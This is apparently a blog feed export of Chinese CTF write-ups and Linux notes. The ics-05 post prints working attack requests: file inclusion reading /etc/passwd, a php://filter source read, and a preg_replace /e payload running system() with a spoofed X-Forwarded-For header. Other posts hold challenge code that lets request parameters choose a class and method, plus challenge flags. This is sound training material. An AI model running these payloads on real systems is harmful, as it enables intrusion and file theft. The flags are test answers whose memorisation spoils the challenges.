<h3 id="附"><a href="#附" class="headerlink" title="附"></a>附</h3><h4 id="ReflectionClass-API"><a href="#ReflectionClass-API" class="headerlink" title="ReflectionClass API"></a>ReflectionClass API</h4><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="variable">$ref</span> = <span class="keyword">new</span> ReflectionClass(B::class);</span><br><span class="line"></span><br><span class="line"><span class="comment">//print_r(ReflectionClass::export(demo::class));</span></span><br><span class="line">print_r(<span class="variable">$ref</span>->getProperties()); <span class="comment">// 获取一级属性, 可以传参数过滤, 返回ReflectionProperty 对象的数组。</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->getConstructor()); <span class="comment">// 获取构造函数, 未定义返回null</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->inNamespace()); <span class="comment">// 是否在命名空间中</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->getConstants()); <span class="comment">// 获取所有定义的常量</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->getConstant(<span class="string">'TEST_1'</span>)); <span class="comment">// 获取某个常量</span></span><br><span class="line">print_r(<span class="variable">$ref</span>->getDefaultProperties()); <span class="comment">// 获取默认属性, 返回数组, 包括父类的属性</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->getDocComment()); <span class="comment">// 获取类文档注释, 不包含属性和方法的注释, 无注释返回false</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->getExtension()); <span class="comment">// 获取获取最后一行的行数</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->getFileName()); <span class="comment">// 获取定义类的文件名, 返回绝对路径</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->getInterfaceNames()); <span class="comment">// 获取接口名称, 返回索引数组,值为接口名称, 未实现接口返回空数组</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->getInterfaces()); <span class="comment">// 获取接口, 返回关联数组, name=>ReflectionClass实例, 未实现接口返回空数组</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->getMethods()); <span class="comment">// 指获取类方法 ReflectionMethod。</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->getMethod(<span class="string">'foo4'</span>)); <span class="comment">// 获取一个类方法的 ReflectionMethod。如果方法不存在会抛出异常, 需要配合try catch一起用</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->getName()); <span class="comment">// 获取类名, 包含命名空间</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->getNamespaceName()); <span class="comment">// 获取命名空间的名称, 没有返回空</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->getParentClass()); <span class="comment">// 获取父类reflectionClass的实例, 没有父类返回false</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->getProperty(<span class="string">'prop3'</span>)); <span class="comment">// 获取一个属性, 返回ReflectionProperty实例, 属性不存在会抛出异常, 需配合try catch使用</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->getShortName()); <span class="comment">// 获取类名, 不包含命名空间</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->getStartLine()); <span class="comment">// 获取起始行号</span></span><br><span class="line">print_r(<span class="variable">$ref</span>->getStaticProperties()); <span class="comment">// 获取静态属性</span></span><br><span class="line">print_r(<span class="variable">$ref</span>->getStaticPropertyValue(<span class="string">'prop_static'</span>)); <span class="comment">// 获取静态属性值, 未定义的属性会报致命错误</span></span><br><span class="line">print_r(<span class="variable">$ref</span>->getTraitAliases()); <span class="comment">// 返回 trait 别名的一个数组</span></span><br><span class="line">print_r(<span class="variable">$ref</span>->getTraitNames()); <span class="comment">// 返回 trait 别名的一个数组</span></span><br><span class="line">print_r(<span class="variable">$ref</span>->getTraits()); <span class="comment">// 返回这个类所使用的 traits 数组</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->hasConstant(<span class="string">'AB'</span>)); <span class="comment">// 检查常量是否已经定义</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->hasMethod(<span class="string">'AB'</span>)); <span class="comment">// 检查方法是否已经定义</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->hasProperty(<span class="string">'AB'</span>)); <span class="comment">// 检查属性是否已定义</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->implementsInterface(<span class="string">'reflection\Abc'</span>)); <span class="comment">// 检查是否实现了某个接口, 注意需要带上命名空间</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->isAbstract()); <span class="comment">// 检查类是否是抽象类(abstract)</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->isAnonymous()); <span class="comment">// 检查类是否是匿名类</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->isCloneable()); <span class="comment">// 返回了一个类是否可复制</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->isFinal()); <span class="comment">// 检查类是否声明为 final</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->isInstance(<span class="variable">$obj</span>)); <span class="comment">// 检查一个变量是否此类的实例</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->isInstantiable()); <span class="comment">// 检查类是否可实例化</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->isInterface()); <span class="comment">// 检查类是否是一个接口(interface)</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->isInternal()); <span class="comment">// 检查类是否由扩展或核心在内部定义, 和isUserDefined相对</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->isIterateable()); <span class="comment">// 检查此类是否可迭代, 实现了Iterator接口即可迭代</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->isSubclassOf(A::class)); <span class="comment">// 是否是某一个类的子类</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->isTrait()); <span class="comment">// 返回了是否为一个 trait</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->isUserDefined()); <span class="comment">// 检查是否由用户定义的类 和isInternal相对</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 从指定的参数创建一个新的类实例,创建类的新的实例。给出的参数将会传递到类的构造函数。</span></span><br><span class="line"><span class="comment">// 接受可变数目的参数,用于传递到类的构造函数,和 call_user_func() 很相似。</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->newInstance());</span><br><span class="line"><span class="comment">// 从指定的参数创建一个新的类实例,创建类的新的实例。给出的参数将会传递到类的构造函数。</span></span><br><span class="line"><span class="comment">//这个参数以 array 形式传递到类的构造函数。</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->newInstanceArgs([]));</span><br><span class="line">var_dump(<span class="variable">$ref</span>->newInstanceWithoutConstructor()); <span class="comment">// 创建一个新的实例而不调用他的构造函数</span></span><br><span class="line"><span class="variable">$ref</span>->setStaticPropertyValue (<span class="string">'prop_static'</span>, <span class="string">'222'</span>); <span class="comment">// 设置静态属性的值, 无返回值</span></span><br><span class="line">var_dump(<span class="variable">$ref</span>->__toString ()); <span class="comment">// 返回 ReflectionClass 对象字符串的表示形式。</span></span><br><span class="line">```</span><br></pre></td></tr></table></figure>
<h4 id="ReflectionMethod-API"><a href="#ReflectionMethod-API" class="headerlink" title="ReflectionMethod API"></a>ReflectionMethod API</h4><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">ReflectionMethod::__construct — ReflectionMethod 的构造函数</span></span><br><span class="line"><span class="comment">ReflectionMethod::export — 输出一个回调方法</span></span><br><span class="line"><span class="comment">ReflectionMethod::getClosure — 返回一个动态建立的方法调用接口,译者注:可以使用这个返回值直接调用非公开方法。</span></span><br><span class="line"><span class="comment">ReflectionMethod::getDeclaringClass — 获取被反射的方法所在类的反射实例</span></span><br><span class="line"><span class="comment">ReflectionMethod::getModifiers — 获取方法的修饰符</span></span><br><span class="line"><span class="comment">ReflectionMethod::getPrototype — 返回方法原型 (如果存在)</span></span><br><span class="line"><span class="comment">ReflectionMethod::invoke — Invoke</span></span><br><span class="line"><span class="comment">ReflectionMethod::invokeArgs — 带参数执行</span></span><br><span class="line"><span class="comment">ReflectionMethod::isAbstract — 判断方法是否是抽象方法</span></span><br><span class="line"><span class="comment">ReflectionMethod::isConstructor — 判断方法是否是构造方法</span></span><br><span class="line"><span class="comment">ReflectionMethod::isDestructor — 判断方法是否是析构方法</span></span><br><span class="line"><span class="comment">ReflectionMethod::isFinal — 判断方法是否定义 final</span></span><br><span class="line"><span class="comment">ReflectionMethod::isPrivate — 判断方法是否是私有方法</span></span><br><span class="line"><span class="comment">ReflectionMethod::isProtected — 判断方法是否是保护方法 (protected)</span></span><br><span class="line"><span class="comment">ReflectionMethod::isPublic — 判断方法是否是公开方法</span></span><br><span class="line"><span class="comment">ReflectionMethod::isStatic — 判断方法是否是静态方法</span></span><br><span class="line"><span class="comment">ReflectionMethod::setAccessible — 设置方法是否访问</span></span><br><span class="line"><span class="comment">ReflectionMethod::__toString — 返回反射方法对象的字符串表达</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line">ReflectionMethod <span class="keyword">extends</span> ReflectionFunctionAbstract <span class="keyword">implements</span> Reflector {</span><br><span class="line"><span class="comment">/* 常量 */</span></span><br><span class="line"><span class="keyword">const</span> <span class="keyword">integer</span> IS_STATIC = <span class="number">1</span> ;</span><br><span class="line"><span class="keyword">const</span> <span class="keyword">integer</span> IS_PUBLIC = <span class="number">256</span> ;</span><br><span class="line"><span class="keyword">const</span> <span class="keyword">integer</span> IS_PROTECTED = <span class="number">512</span> ;</span><br><span class="line"><span class="keyword">const</span> <span class="keyword">integer</span> IS_PRIVATE = <span class="number">1024</span> ;</span><br><span class="line"><span class="keyword">const</span> <span class="keyword">integer</span> IS_ABSTRACT = <span class="number">2</span> ;</span><br><span class="line"><span class="keyword">const</span> <span class="keyword">integer</span> IS_FINAL = <span class="number">4</span> ;</span><br><span class="line"><span class="comment">/* 属性 */</span></span><br><span class="line"><span class="keyword">public</span> <span class="variable">$name</span> ;</span><br><span class="line"><span class="keyword">public</span> <span class="variable">$class</span> ;</span><br><span class="line"><span class="comment">/* 方法 */</span></span><br><span class="line"><span class="keyword">public</span> __construct ( <span class="keyword">mixed</span> <span class="variable">$class</span> , <span class="keyword">string</span> <span class="variable">$name</span> )</span><br><span class="line"><span class="keyword">public</span> <span class="built_in">static</span> export ( <span class="keyword">string</span> <span class="variable">$class</span> , <span class="keyword">string</span> <span class="variable">$name</span> [, <span class="keyword">bool</span> <span class="variable">$return</span> = <span class="literal">false</span> ] ) : <span class="keyword">string</span></span><br><span class="line"><span class="keyword">public</span> getClosure ( <span class="keyword">object</span> <span class="variable">$object</span> ) : <span class="built_in">Closure</span></span><br><span class="line"><span class="keyword">public</span> getDeclaringClass ( ) : ReflectionClass</span><br><span class="line"><span class="keyword">public</span> getModifiers ( ) : <span class="keyword">int</span></span><br><span class="line"><span class="keyword">public</span> getPrototype ( ) : ReflectionMethod</span><br><span class="line"><span class="keyword">public</span> invoke ( <span class="keyword">object</span> <span class="variable">$object</span> [, <span class="keyword">mixed</span> <span class="variable">$parameter</span> [, <span class="keyword">mixed</span> $... ]] ) : <span class="keyword">mixed</span></span><br><span class="line"><span class="keyword">public</span> invokeArgs ( <span class="keyword">object</span> <span class="variable">$object</span> , <span class="keyword">array</span> <span class="variable">$args</span> ) : <span class="keyword">mixed</span></span><br><span class="line"><span class="keyword">public</span> isAbstract ( ) : <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">public</span> isConstructor ( ) : <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">public</span> isDestructor ( ) : <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">public</span> isFinal ( ) : <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">public</span> isPrivate ( ) : <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">public</span> isProtected ( ) : <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">public</span> isPublic ( ) : <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">public</span> isStatic ( ) : <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">public</span> setAccessible ( <span class="keyword">bool</span> <span class="variable">$accessible</span> ) : <span class="keyword">void</span></span><br><span class="line"><span class="keyword">public</span> __toString ( ) : <span class="keyword">string</span></span><br><span class="line"><span class="comment">/* 继承的方法 */</span></span><br><span class="line"><span class="keyword">final</span> <span class="keyword">private</span> ReflectionFunctionAbstract::__clone ( ) : <span class="keyword">void</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::getClosureScopeClass ( ) : ReflectionClass</span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::getClosureThis ( ) : <span class="keyword">object</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::getDocComment ( ) : <span class="keyword">string</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::getEndLine ( ) : <span class="keyword">int</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::getExtension ( ) : ReflectionExtension</span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::getExtensionName ( ) : <span class="keyword">string</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::getFileName ( ) : <span class="keyword">string</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::getName ( ) : <span class="keyword">string</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::getNamespaceName ( ) : <span class="keyword">string</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::getNumberOfParameters ( ) : <span class="keyword">int</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::getNumberOfRequiredParameters ( ) : <span class="keyword">int</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::getParameters ( ) : <span class="keyword">array</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::getReturnType ( ) : ReflectionType</span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::getShortName ( ) : <span class="keyword">string</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::getStartLine ( ) : <span class="keyword">int</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::getStaticVariables ( ) : <span class="keyword">array</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::hasReturnType ( ) : <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::inNamespace ( ) : <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::isClosure ( ) : <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::isDeprecated ( ) : <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::isGenerator ( ) : <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::isInternal ( ) : <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::isUserDefined ( ) : <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::isVariadic ( ) : <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">public</span> ReflectionFunctionAbstract::returnsReference ( ) : <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">abstract</span> <span class="keyword">public</span> ReflectionFunctionAbstract::__toString ( ) : <span class="keyword">void</span></span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="伪源码"><a href="#伪源码" class="headerlink" title="伪源码"></a>伪源码</h4><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">User</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="built_in">static</span> <span class="variable">$c</span> = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">a</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">b</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">c</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">d</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">e</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">f</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">g</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">h</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">i</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">j</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">k</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">l</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">m</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">n</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">o</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">p</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">/** </span></span><br><span class="line"><span class="comment"> * Increment counter</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@final</span></span></span><br><span class="line"><span class="comment"> * <span class="doctag">@static</span></span></span><br><span class="line"><span class="comment"> * <span class="doctag">@access</span> publicflag{b5bd0ab820fd11eb8cf4fa163e83cb88}</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> int</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">q</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">r</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">s</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">t</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> ++<span class="built_in">self</span>::<span class="variable">$c</span>;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="variable">$rc</span>=<span class="variable">$_GET</span>[<span class="string">"rc"</span>];</span><br><span class="line"><span class="variable">$rb</span>=<span class="variable">$_GET</span>[<span class="string">"rb"</span>];</span><br><span class="line"><span class="variable">$ra</span>=<span class="variable">$_GET</span>[<span class="string">"ra"</span>];</span><br><span class="line"><span class="variable">$rd</span>=<span class="variable">$_GET</span>[<span class="string">"rd"</span>];</span><br><span class="line"><span class="variable">$method</span>= <span class="keyword">new</span> <span class="variable">$rc</span>(<span class="variable">$ra</span>, <span class="variable">$rb</span>);</span><br><span class="line">var_dump(<span class="variable">$method</span>-><span class="variable">$rd</span>());</span><br><span class="line"></span><br></pre></td></tr></table></figure>
]]></content>
<categories>
<category>CTF</category>
</categories>
<tags>
<tag>WEB</tag>
<tag>CTF</tag>
<tag>PHP</tag>
</tags>
</entry>
<entry>
<title>give_you_flag-writeup</title>
<url>/2020/11/17/give-you-flag-writeup/</url>
<content><![CDATA[<h3 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h3><p>本题来源于攻防世界,MISC题,题目考察的是二维码修复能力。</p>
<h3 id="正文"><a href="#正文" class="headerlink" title="正文"></a>正文</h3><p>题目是一张GIF图片,使用图像软件逐帧查看可发现里面有个二维码,我这里使用的是<code>ImageGlass</code>,免费软件。</p>
<a id="more"></a>
<p><img data-src="/2020/11/17/give-you-flag-writeup/image-20201117154637142.png"></p>
<p>使用<code>ImageGlass</code>提取所有帧:</p>
<p><img data-src="/2020/11/17/give-you-flag-writeup/image-20201117155032363.png"></p>
<p><img data-src="/2020/11/17/give-you-flag-writeup/image-20201117155126107.png"></p>
<p>打开图片,是个残缺的二维码:</p>
<p><img data-src="/2020/11/17/give-you-flag-writeup/image-20201117155305222.png"></p>
<p>看了其它wp说用ps来修复,无奈ps太菜了,这里另辟蹊径,讲讲我的方法。</p>
<p>首先随意取一张二维码图片,放大,使用<code>Snipaste</code>(一个截图软件,免费)按<code>F1</code>键把定位符截图,然后按<code>F3</code>键贴图,重复复制3个定位符</p>
<p><img data-src="/2020/11/17/give-you-flag-writeup/image-20201117155436560.png"></p>
<p>得到3个定位符,然后把定位符调整到合适大小,并移动到残缺的二维码中, 然后再截屏到识别软件提取或者手机扫码提取:</p>
<p><img data-src="/2020/11/17/give-you-flag-writeup/image-20201117155713817.png"></p>
<p><img data-src="/2020/11/17/give-you-flag-writeup/image-20201117155951545.png"></p>
<p>扫码后得到flag: <code>flag{e7d478cf6b915f50ab1277f78502a2c5}</code></p>
]]></content>
<categories>
<category>CTF</category>
</categories>
<tags>
<tag>CTF</tag>
<tag>攻防世界</tag>
<tag>MISC</tag>
</tags>
</entry>
<entry>
<title>ics-05-writeup</title>
<url>/2020/12/29/ics-05-writeup/</url>
<content><![CDATA[<p><strong>本文仅作为技术讨论及分享,严禁用于任何非法用途。</strong></p>
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>本题来源于XCTF 4th-CyberEarth,攻防世界WEB进阶021上是原题,题目名称为<code>ics-05</code>,题目信息如下。<br><img data-src="/2020/12/29/ics-05-writeup/2020-12-29-14-52-41.png"></p>
<a id="more"></a>
<h3 id="正文"><a href="#正文" class="headerlink" title="正文"></a>正文</h3><p>打开题目链接,页面如下。<br><img data-src="/2020/12/29/ics-05-writeup/2020-12-29-15-07-00.png"><br>只有一个菜单功能可访问,也对应了题目描述“设备维护中心”的后门,所以从这开始下手,发现存在文件包含漏洞。</p>
<figure class="highlight php"><table><tr><td class="code"><pre><span class="line">/index.php?page=/etc/passwd</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/12/29/ics-05-writeup/2020-12-29-15-06-26.png"></p>
<p>然后利用php 文件包含读取index.php源码</p>
<figure class="highlight php"><table><tr><td class="code"><pre><span class="line">/index.php/?page=php:<span class="comment">//filter/convert.base64-encode/resource=index.php</span></span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/12/29/ics-05-writeup/2020-12-29-14-56-38.png"></p>
<p>在源码中发现后门<br><img data-src="/2020/12/29/ics-05-writeup/2020-12-29-14-58-16.png"></p>
<p>想起以前有个php webshell就用了preg_replace执行任意代码,参考一下,成功执行命令得到flag,原理是<code>preg_replace</code>函数执行一个正则表达式的搜索和替换,<code>preg_replce</code>正则表达式部分包含e参数的时候,进行替换的部分会被执行。然后ip要<code>127.0.0.1</code>,大家一看就知道用XFF头了,不多说,我这里这么多条是因为用了插件<code>fakeIp</code>自动生成。</p>
<figure class="highlight php"><table><tr><td class="code"><pre><span class="line">/index.php?pat=/[checksql]/e&rep=system(<span class="string">'cat+s3chahahaDir/flag/flag.php'</span>);&sub=saft</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/12/29/ics-05-writeup/2020-12-29-15-00-06.png"></p>
]]></content>
<categories>
<category>CTF</category>
</categories>
<tags>
<tag>WEB</tag>
<tag>CTF</tag>
<tag>PHP</tag>
<tag>攻防世界</tag>
<tag>文件包含</tag>
</tags>
</entry>
<entry>
<title>kali iptables 配置自启动加载</title>
<url>/2020/08/21/kali-iptables-%E9%85%8D%E7%BD%AE%E8%87%AA%E5%90%AF%E5%8A%A8%E5%8A%A0%E8%BD%BD/</url>
<content><![CDATA[<h3 id="创建启动配置文件"><a href="#创建启动配置文件" class="headerlink" title="创建启动配置文件"></a>创建启动配置文件</h3><p>编辑创建以下文件:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /etc/network/if-pre-up.d/iptables</span><br></pre></td></tr></table></figure>
<p>粘贴下面内容:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#! /bin/sh</span></span><br><span class="line">/sbin/iptables-restore < /etc/iptables/rules.v4</span><br></pre></td></tr></table></figure>
<p>添加执行权限:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">chmod +x /etc/network/if-pre-up.d/iptables</span><br></pre></td></tr></table></figure>
<p>通过下面命令保存iptables:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">iptables-save > /etc/iptables/rules.v4</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category>Linux</category>
</categories>
<tags>
<tag>Linux</tag>
</tags>
</entry>
<entry>
<title>openwrt折腾笔记</title>
<url>/2023/03/20/openwrt%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/</url>
<content><![CDATA[<p><strong>本文仅作为技术讨论及分享,严禁用于任何非法用途。</strong></p>
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>本文只是记录一下openwrt日常配置方法,作为备忘。</p>
<h3 id="openwrt重置"><a href="#openwrt重置" class="headerlink" title="openwrt重置"></a>openwrt重置</h3><p>在终端中执行下面命令,可讲openwrt恢复出厂设置,主要用于特殊原因访问不到web界面的时候。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">firstboot -y && reboot</span><br></pre></td></tr></table></figure>
<h3 id="自动更新ipv6-pd前缀"><a href="#自动更新ipv6-pd前缀" class="headerlink" title="自动更新ipv6 pd前缀"></a>自动更新ipv6 pd前缀</h3><p>自动将从wan6获取到的ipv6 pd前缀更新到lan口,配置原因请看下文:<br><a href="https://r0yanx.com/2023/02/22/%E7%88%B1%E5%BF%AB%E4%B8%BB%E8%B7%AF%E7%94%B1%E4%B8%8BIPV6%E9%98%B2%E7%81%AB%E5%A2%99%E7%9A%84%E6%9C%80%E4%BC%98%E8%A7%A3/#more">爱快主路由下 IPV6 防火墙的最优解(可能)</a></p>
<p>调试过程:</p>
